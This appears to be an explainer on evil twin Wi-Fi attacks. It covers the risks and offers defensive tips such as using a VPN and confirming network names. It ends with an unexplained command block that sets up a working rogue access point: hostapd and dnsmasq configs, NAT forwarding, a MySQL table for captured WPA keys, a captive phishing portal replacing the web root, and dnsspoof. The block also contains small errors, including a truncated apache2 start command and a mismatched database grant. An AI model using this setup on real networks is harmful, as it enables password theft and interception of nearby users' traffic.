Evil Twin Attack

Imagine you're at a coffee shop, and you want to connect to the free Wi-Fi. You see a network called "CoffeeShopWiFi" and connect to it. But... what if that Wi-Fi isn't real? That's what an Evil Twin Attack is.
😈The Trick: A hacker sets up a fake Wi-Fi hotspot with the same name as the real one — for example, "CoffeeShop_WiFi". You don't realize it's fake, and you connect to it, thinking it's legit. Now, the hacker can: See what websites you're visiting Steal your passwords Intercept your messages Trick you into logging into fake versions of websites (like fake Facebook or bank login pages)

- Think of It Like This: It's like sitting at a table with someone you think is a waiter, but they're actually a thief in disguise. You give them your credit card to pay the bill — and boom — they've got your info.
- 🛡️How to Stay Safe: Don't connect to open Wi-Fi without a password. Use a VPN (it encrypts your data). Look for HTTPS in website addresses. Ask staff for the exact Wi-Fi network name. security of evil twin 🔐Security Risks of an Evil Twin Attack When you connect to a fake Wi-Fi network (the "evil twin"), here's what can happen:

1. Data Interception (Man-in-the-Middle Attack)

The attacker can see everything you do online — websites visited, messages, usernames, passwords, credit card details — especially if the sites are not encrypted (no HTTPS).

2. Phishing

The attacker might redirect you to fake websites that look real (like a fake bank login page). When you type in your info, they steal it.

3. Malware Installation

They can trick your device into downloading viruses or spyware, especially if your system is outdated or you click on fake popups.

4. Session Hijacking

If you're logged into websites (like email or social media), the hacker can take over your session and act as you.

- How to Protect Yourself Here are some simple but powerful ways to stay safe:
- ✅Always Confirm the Network Name Ask staff for the exact Wi-Fi name. Don't guess based on what "looks right."
- ✅Avoid Public Wi-Fi for Sensitive Tasks Don't log in to your bank or enter passwords while on public Wi-Fi.
- ✅Use a VPN (Virtual Private Network) VPNs encrypt your internet traffic, even if you're on a fake network. Hackers can't read your data.
- ✅Look for HTTPS Only enter personal info on websites with "https://" and a lock icon.
- ✅Keep Software Updated Your device should have the latest security patches and antivirus protection.

- ✅Disable Auto-Connect to Wi-Fi Stop your phone/laptop from connecting to saved networks automatically — attackers can spoof a network you’ve used before.

```
 # --- Preparing ---:
  apt-get update
  apt-get install hostapd dnsmasq apache2
  airmon-ng start wlan0
  mkdir ~/fap
  cd ~/fap
  nano hostapd.conf
 # Instructions for hostapd.conf:
interface=[INTERFACE NAME]
driver=nl80211
ssid=[WiFi NAME]
hw_mode=g
channel=8
macaddr_acl=0
ignore_broadcast_ssid=0
  nano dnsmasq.conf
 # Instructions for dnsmasq.conf:
interface=[INTERFACE NAME]
dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h
dhcp-option=3, 192.168.1.1
dhcp-option=6, 192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
 # Routing table and gateway:
  ifconfig wlan0mon up 192.168.1.1 netmask 255.255.255.0
  route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
 # Internet access:
  iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
  iptables --append FORWARD --in-interface wlan0mon -j ACCEPT
  echo 1 > /proc/sys/net/ipv4/ip_forward
 # mysql database:
  service mysql start
  mysql
  create database fap;
  create user fapuser;
  grant all on rogueap.* to 'fapuser'@'localhost' identified by 'fappassword';
  use fap;
  create table wpa_keys(password1 varchar(40), password2 varchar(40));
  ALTER DATABASE fap CHARACTER SET 'utf8';
  select * from wpa_keys;
# Captive portal setup:
  rm -rf /var/www/html/*
  mv ~/Downloads/fap.zip /var/www/html
  cd /var/www/html
  unzip fap.zip
  service apache2 star
 # --- Starting the attack ---:
  hostapd hostapd.conf
  dnsmasq -C dnsmasq.conf -d
  dnsspoof -i wlan0mon
```